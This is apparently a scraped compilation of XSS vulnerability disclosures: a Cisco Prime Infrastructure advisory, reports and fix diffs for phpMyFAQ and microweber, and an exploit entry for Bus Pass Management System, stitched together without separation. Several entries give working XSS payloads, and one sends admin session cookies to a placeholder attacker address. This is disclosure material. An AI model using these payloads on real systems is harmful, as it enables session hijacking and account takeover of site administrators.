Multiple vulnerabilities in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager (EPNM) could allow a remote attacker to obtain privileged information and conduct cross-site scripting (XSS) and cross-site request forgery (CSRF) attacks. For more information about these vulnerabilities, see the Details section of this advisory. 

*   The vulnerabilities are not dependent on one another. Exploitation of one of the vulnerabilities is not required to exploit another vulnerability. In addition, a software release that is affected by one of the vulnerabilities may not be affected by the other vulnerabilities.
    
    Details about the vulnerabilities are as follows:
    
    **CVE-2023-20127: Cisco Prime Infrastructure Information Disclosure Vulnerability**
    
    A vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to view privileged information about network devices that are managed by an affected device.
    
    This vulnerability is due to insufficient protection of sensitive data in the web-based management interface of an affected device. An attacker could exploit this vulnerability by accessing the interface as a low-privileged user and taking certain actions within the configuration pages of the network devices. A successful exploit could allow the attacker to access sensitive information about the network devices that is stored on the affected device.
    
    Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
    
    Bug ID(s): CSCwc25461  
    CVE ID: CVE-2023-20127  
    Security Impact Rating (SIR): Medium  
    CVSS Base Score: 6.5  
    CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    
    **CVE-2023-20131: Cisco Prime Infrastructure and Cisco EPNM XSS Vulnerability**
    
    A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco EPNM could allow an authenticated, remote attacker to conduct an XSS attack against a user of the interface of an affected system.
    
    The vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of an affected system. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.
    
    Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
    
    Bug ID(s): CSCwc76734, CSCwd28312, CSCwd69561  
    CVE ID: CVE-2023-20131  
    Security Impact Rating (SIR): Medium  
    CVSS Base Score: 5.4  
    CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    
    **CVE-2023-20129: Cisco Prime Infrastructure and Cisco EPNM Arbitrary File Read Vulnerability**
    
    A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco EPNM could allow an authenticated, remote attacker to view certain files from the underlying operating system.
    
    This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to access sensitive files on the underlying operating system.
    
    Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
    
    Bug ID(s): CSCwc25461, CSCwd28312  
    CVE ID: CVE-2023-20129  
    Security Impact Rating (SIR): Medium  
    CVSS Base Score: 4.9  
    CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    
    **CVE-2023-20130: Cisco Prime Infrastructure and Cisco EPNM CSRF Vulnerability**
    
    A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco EPNM could allow an unauthenticated, remote attacker to conduct a CSRF attack and perform arbitrary actions on an affected system.
    
    The vulnerability is due to insufficient CSRF protections for the web-based management interface of an affected system. An attacker could exploit this vulnerability by persuading a user of the interface to follow a crafted link. A successful exploit could allow the attacker to perform arbitrary actions on the affected system with the privileges of the targeted user.
    
    Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
    
    Bug ID(s): CSCwc51948, CSCwd28312  
    CVE ID: CVE-2023-20130  
    Security Impact Rating (SIR): Medium  
    CVSS Base Score: 4.3  
    CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

CVE-2023-20131: Cisco Security Advisory: Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager Vulnerabilities

Cross-site Scripting (XSS) - Stored in GitHub repository microweber/microweber prior to 1.3.3.

Valid

Reported on

Feb 16th 2023

**Description**

Using X-Forwarded-For Header Visitor can manipulate ip to trigger xss

**Proof of Concept**

    1.Visit any url and Add Header X-Forward-For: 127.0.0.1"><image/src/onerror=prompt(8)>
    2.If admin check in dashboard xss will trigger
    
    Check This image
    >https://drive.google.com/file/d/1hNSEr5Fjnzd9n62SFspW3z7Ojs-q6cCw/view?usp=share_link
    >https://drive.google.com/file/d/1cfnIoKWtLsjRUcU4J0Qs_bU-a_Z6gPNo/view?usp=share_link
    

Disclaimer: This is my own website

**Impact**

Account takeover

CVE-2023-1881: Stored XSS From Visitor to Acc Takeover in microweber

Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

**Description**

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

**Proof of Concept**

Code That has a Vulnerability:

                // Updates an existing category
                if ($action === 'updatecategory' && Token::getInstance()->verifyToken('update-category', $csrfToken)) {
                    $category = new Category($faqConfig, [], false);
                    $category->setUser($currentAdminUser);
                    $category->setGroups($currentAdminGroups);
    
                    $parentId = Filter::filterInput(INPUT_POST, 'parent_id', FILTER_VALIDATE_INT);
                    $categoryId = Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT);
                    $categoryLang = Filter::filterInput(INPUT_POST, 'catlang', FILTER_UNSAFE_RAW);
                    $existingImage = Filter::filterInput(INPUT_POST, 'existing_image', FILTER_UNSAFE_RAW);
                    $image = count($uploadedFile) ? $categoryImage->getFileName(
                        $categoryId,
                        $categoryLang
                    ) : $existingImage;
    
                    $categoryData = [
                        'id' => $categoryId,
                        'lang' => $categoryLang,
                        'parent_id' => $parentId,
                        'name' => Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW),
                        'description' => Filter::filterInput(INPUT_POST, 'description', FILTER_UNSAFE_RAW),
                        'user_id' => Filter::filterInput(INPUT_POST, 'user_id', FILTER_VALIDATE_INT),
                        'group_id' => Filter::filterInput(INPUT_POST, 'group_id', FILTER_VALIDATE_INT),
                        'active' => Filter::filterInput(INPUT_POST, 'active', FILTER_VALIDATE_INT),
                        'image' => $image,
                        'show_home' => Filter::filterInput(INPUT_POST, 'show_home', FILTER_VALIDATE_INT),
                    ];
    

Code without that vulnerability:

                // Save a new category
                if ($action === 'savecategory' && Token::getInstance()->verifyToken('save-category', $csrfToken)) {
                    $category = new Category($faqConfig, [], false);
                    $category->setUser($currentAdminUser);
                    $category->setGroups($currentAdminGroups);
                    $parentId = Filter::filterInput(INPUT_POST, 'parent_id', FILTER_VALIDATE_INT);
                    $categoryId = $faqConfig->getDb()->nextId(Database::getTablePrefix() . 'faqcategories', 'id');
                    $categoryLang = Filter::filterInput(INPUT_POST, 'lang', FILTER_UNSAFE_RAW);
                    $categoryData = [
                        'lang' => $categoryLang,
                        'name' => Filter::filterInput(INPUT_POST, 'name', FILTER_SANITIZE_SPECIAL_CHARS),
                        'description' => Filter::filterInput(INPUT_POST, 'description', FILTER_SANITIZE_SPECIAL_CHARS),
                        'user_id' => Filter::filterInput(INPUT_POST, 'user_id', FILTER_VALIDATE_INT),
                        'group_id' => Filter::filterInput(INPUT_POST, 'group_id', FILTER_VALIDATE_INT),
                        'active' => Filter::filterInput(INPUT_POST, 'active', FILTER_VALIDATE_INT),
                        'image' => $categoryImage->getFileName($categoryId, $categoryLang),
                        'show_home' => Filter::filterInput(INPUT_POST, 'show_home', FILTER_VALIDATE_INT)
                    ];
    

Request:

    POST /admin/?action=updatecategory HTTP/2
    Host: roy.demo.phpmyfaq.de
    Cookie: PHPSESSID=EDITthis; pmf_sid=11; cookieconsent_status=dismiss
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------14208207025422371582565391486
    Content-Length: 1934
    Origin: https://roy.demo.phpmyfaq.de
    Referer: https://roy.demo.phpmyfaq.de/admin/?action=editcategory&cat=1
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    Te: trailers
    
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="id"
    
    1
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="catlang"
    
    en
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="parent_id"
    
    0
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="csrf"
    
    EDITthis
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="existing_image"
    
    
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="name"
    
    <script>alert(1)</script>
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="description"
    
    </textarea><script>alert(2)</script>
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="active"
    
    1
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="show_home"
    
    1
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="image"; filename=""
    Content-Type: application/octet-stream
    
    
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="user_id"
    
    1
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="grouppermission"
    
    all
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="userpermission"
    
    all
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="restricted_users"
    
    1
    -----------------------------14208207025422371582565391486
    Content-Disposition: form-data; name="submit"
    
    
    -----------------------------14208207025422371582565391486--
    

**Impact**

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs

CVE-2023-1879: Stored XSS @ updatecategory in phpmyfaq

@@ -21,6 +21,7 @@

use phpMyFAQ\\Category\\CategoryRelation;

use phpMyFAQ\\Database;

use phpMyFAQ\\Filter;

use phpMyFAQ\\Strings;

  

if (!defined('IS\_VALID\_PHPMYFAQ')) {

http\_response\_code(400);

@@ -319,9 +320,10 @@

foreach ($category\->getCategoryTree() as $id => $cat) {

// CategoryHelper translated in this language?

if ($cat\['lang'\] == $lang) {

$categoryName = $cat\['name'\];

$categoryName = Strings::htmlentities($cat\['name'\]);

} else {

$categoryName = $cat\['name'\] . ' (' . $languageCodes\[strtoupper($cat\['lang'\])\] . ')';

$categoryName = Strings::htmlentities($cat\['name'\]) .

' (' . $languageCodes\[strtoupper($cat\['lang'\])\] . ')';

}

CVE-2023-1885: fix: added missing conversion to HTML entities · thorsten/phpMyFAQ@fecc803

Cross-site Scripting (XSS) - DOM in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

@@ -619,7 +619,7 @@ 'msgGlossary' => '<a href="./glossary.html">' . $PMF\_LANG\['ad\_menu\_glossary'\] . '</a>', 'privacyLink' => sprintf( '<a target="\_blank" href="%s">%s</a>', $faqConfig\->get('main.privacyURL'), Strings::htmlentities($faqConfig\->get('main.privacyURL')), $PMF\_LANG\['msgPrivacyNote'\] ), 'backToHome' => '<a href="./index.html">' . $PMF\_LANG\['msgHome'\] . '</a>', @@ -642,7 +642,7 @@ 'msgGlossary' => '<a href="index.php?' . $sids . 'action=glossary">' . $PMF\_LANG\['ad\_menu\_glossary'\] . '</a>', 'privacyLink' => sprintf( '<a target="\_blank" href="%s">%s</a>', $faqConfig\->get('main.privacyURL'), Strings::htmlentities($faqConfig\->get('main.privacyURL')), $PMF\_LANG\['msgPrivacyNote'\] ), 'allCategories' => '<a class="nav-link" href="index.php?' . $sids . 'action=show">' .

CVE-2023-1882: fix: added missing conversion to HTML entities · thorsten/phpMyFAQ@49db615

Cross-site Scripting (XSS) - Generic in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

@@ -106,10 +106,10 @@ function buildStopWordsHTML(data) {

}

  

// id attribute is of the format stopword\_<id>\_<lang>

elem\_id \= buildStopWordInputElemId(data\[i\].id, data\[i\].lang);

elem\_id \= buildStopWordInputElemId(data\[i\].id, escape(data\[i\].lang));

  

html += '<td>';

html += buildStopWordInputElement(elem\_id, data\[i\].stopword);

html += buildStopWordInputElement(elem\_id, escape(data\[i\].stopword));

html += '</td>';

  

if (i % maxCols \=== maxCols \- 1) {

@@ -136,7 +136,7 @@ function buildStopWordInputElement(elementId, stopword) {

elementId \= elementId || buildStopWordInputElemId();

stopword \= stopword || '';

const attrs \= 'onblur="saveStopWord(this.id)" onkeydown="saveStopWordHandleEnter(this.id, event)" onfocus="saveOldValue(this.id)"';

return '<input class="form-control form-control-sm" id="' + elementId + '" value="' + stopword + '" ' + attrs + '>';

return '<input class="form-control form-control-sm" id="' + elementId + '" value="' + escape(stopword) + '" ' + attrs + '>';

}

  

/\*\*

@@ -286,6 +286,21 @@ function() {

);

}

}

  

const escape \= (text) \=> {

const map \= {

'&': '&amp;',

'<': '&lt;',

'>': '&gt;',

'"': '&quot;',

"'": '&#039;',

};

  

return text.replace(/\[&<>"'\]/g, (mapped) \=> {

return map\[mapped\];

});

};

  

</script\>

</div\>

</div\>

CVE-2023-1884: fix: added missing conversion to HTML entities · thorsten/phpMyFAQ@7f0f921

Cross-site Scripting (XSS) - Reflected in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

Valid

Reported on

Feb 17th 2023

**Description**

There is a reflected XSS in send2friend because the 'artlang' parameter is not sanitized.

**Proof of Concept**

visit http://phpmyfaq.local/?action=send2friend&artlang=aaaa"%3E%3Cscript%3Ealert(1);%3C/script%3E

**Fix**

sanitize the '$faqLanguage' variable in https://github.com/thorsten/phpMyFAQ/blob/main/phpmyfaq/send2friend.php#L70

**Impact**

Taking over the admin account.

CVE-2023-1880: Reflected XSS in send2friend.php in phpmyfaq

**Description**

There is a stored XSS in the 'adminlog' functionality. E.g. the page http://phpmyfaq.local/admin/?action=adminlog shows (failed) login attempts. If a user with the username '<script>alert(1);</script>' tries to log in, it gets logged and displayed on the adminlog unsanitized.

**Proof of Concept**

1.  visit http://phpmyfaq.tld/admin/index.php and try to login with <script>alert(1);</script>

after the failed login attempt, visit

*   (as admin) http://phpmyfaq.tld/admin/?action=adminlog to trigger the XSS.

You will notice the script tags being injected:

    Invalid user or password.\nLogin: <script>alert(1);</script>\nErrors: Specified login could not be found. 
    

**Fix**

sanitize $loggingValue\['text'\] in https://github.com/thorsten/phpMyFAQ/blob/5bd0f79d085feb255d893a67d2fcdac51f4cd2ec/phpmyfaq/admin/stat.adminlog.php#L123 before serving it to the admin user.

**Impact**

Taking over the admin account.

CVE-2023-1878: Stored XSS in the adminlog functionality. in phpmyfaq

Bus Pass Management System version 1.0 suffers persistent cross site scripting vulnerabilities.

    # Exploit Title: Bus Pass Management System 1.0  - Stored Cross-Site Scripting (XSS)# Date: 2021-09-17# Exploit Author: Matteo Conti - https://deltaspike.io# Vendor Homepage: https://phpgurukul.com/# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip# Version: 1.0# Tested on: Ubuntu 18.04 - LAMP# DescriptionThe application permits to send a message to the admin from the section "contacts". Including a XSS payload in title or message,maybe also in email bypassing the client side controls, the payload will be executed when the admin will open the message to read it.# Vulnerable page: /admin/view-enquiry.php?viewid=1 (change the "view id" according to the number of the message)# Tested Payload: <img src=http://localhost/buspassms/images/overlay.png width=0 height=0 onload=this.src='http://<YOUR-IP>:<YOUR-PORT>/?'+document.cookie># Prof of concept:- From /contact.php, send a message containing the following payload in "title" or "message" fields:<img src=http://localhost/buspassms/images/overlay.png width=0 height=0 onload=this.src='http://<YOUR-IP>:<YOUR-PORT>/?'+document.cookie>(the first url have to be an existing image)- Access with admin credentials, enter to /admin/unreadenq.php and click "view" near the new message to execute the payload. After the first view, you can execute again the payload from /admin/readenq.php- Your listener will receive the PHP session id.

Bus Pass Management System 1.0 Cross Site Scripting

@@ -47,7 +47,8 @@  
<div class\="row"\> <div class\="col-12"\> <form id\="faqEditor" name\="faqEditor" action\="?action=save-news" method\="post" novalidate\> <form id\="faqEditor" name\="faqEditor" action\="?action=save-news" method\="post" class\="needs-validation" novalidate\>  
<div class\="form-group row"\> <label class\="col-3 col-form-label" for\="newsheader"\> @@ -112,7 +113,7 @@ <div class\="form-group row"\> <label class\="col-3 col-form-label" for\="link"\><?= $PMF\_LANG\['ad\_news\_link\_url'\] ?></label\> <div class\="col-9"\> <input class\="form-control" type\="text" name\="link" id\="link" <input class\="form-control" type\="url" name\="link" id\="link" placeholder\="http://www.example.com/"\> </div\> </div\> @@ -256,7 +257,8 @@  
<div class\="row"\> <div class\="col-12"\> <form action\="?action=update-news" method\="post" accept-charset\="utf-8"\> <form action\="?action=update-news" method\="post" accept-charset\="utf-8" class\="needs-validation" novalidate\> <input type\="hidden" name\="id" value\="<?= $newsData\['id'\] ?>"\>  
<div class\="form-group row"\> @@ -328,7 +330,7 @@ <div class\="form-group row"\> <label class\="col-3 col-form-label" for\="link"\><?= $PMF\_LANG\['ad\_news\_link\_url'\] ?></label\> <div class\="col-9"\> <input type\="text" id\="link" name\="link" <input type\="url" id\="link" name\="link" value\="<?= Strings::htmlentities($newsData\['link'\]) ?>" class\="form-control"\> </div\> </div\> @@ -449,8 +451,8 @@ $email = Filter::filterInput(INPUT\_POST, 'authorEmail', FILTER\_VALIDATE\_EMAIL); $active = Filter::filterInput(INPUT\_POST, 'active', FILTER\_UNSAFE\_RAW); $comment = Filter::filterInput(INPUT\_POST, 'comment', FILTER\_UNSAFE\_RAW); $link = Filter::filterInput(INPUT\_POST, 'link', FILTER\_SANITIZE\_SPECIAL\_CHARS); $linkTitle = Filter::filterInput(INPUT\_POST, 'linkTitle', FILTER\_SANITIZE\_SPECIAL\_CHARS); $link = Filter::filterInput(INPUT\_POST, 'link', FILTER\_VALIDATE\_URL); $linkTitle = Filter::filterInput(INPUT\_POST, 'linkTitle', FILTER\_SANITIZE\_ENCODED); $newsLang = Filter::filterInput(INPUT\_POST, 'langTo', FILTER\_UNSAFE\_RAW); $target = Filter::filterInput(INPUT\_POST, 'target', FILTER\_UNSAFE\_RAW);  
@@ -500,8 +502,8 @@ $email = Filter::filterInput(INPUT\_POST, 'authorEmail', FILTER\_VALIDATE\_EMAIL); $active = Filter::filterInput(INPUT\_POST, 'active', FILTER\_UNSAFE\_RAW); $comment = Filter::filterInput(INPUT\_POST, 'comment', FILTER\_UNSAFE\_RAW); $link = Filter::filterInput(INPUT\_POST, 'link', FILTER\_UNSAFE\_RAW); $linkTitle = Filter::filterInput(INPUT\_POST, 'linkTitle', FILTER\_UNSAFE\_RAW); $link = Filter::filterInput(INPUT\_POST, 'link', FILTER\_VALIDATE\_URL); $linkTitle = Filter::filterInput(INPUT\_POST, 'linkTitle', FILTER\_SANITIZE\_ENCODED); $newsLang = Filter::filterInput(INPUT\_POST, 'langTo', FILTER\_UNSAFE\_RAW); $target = Filter::filterInput(INPUT\_POST, 'target', FILTER\_UNSAFE\_RAW);

Tag

#xss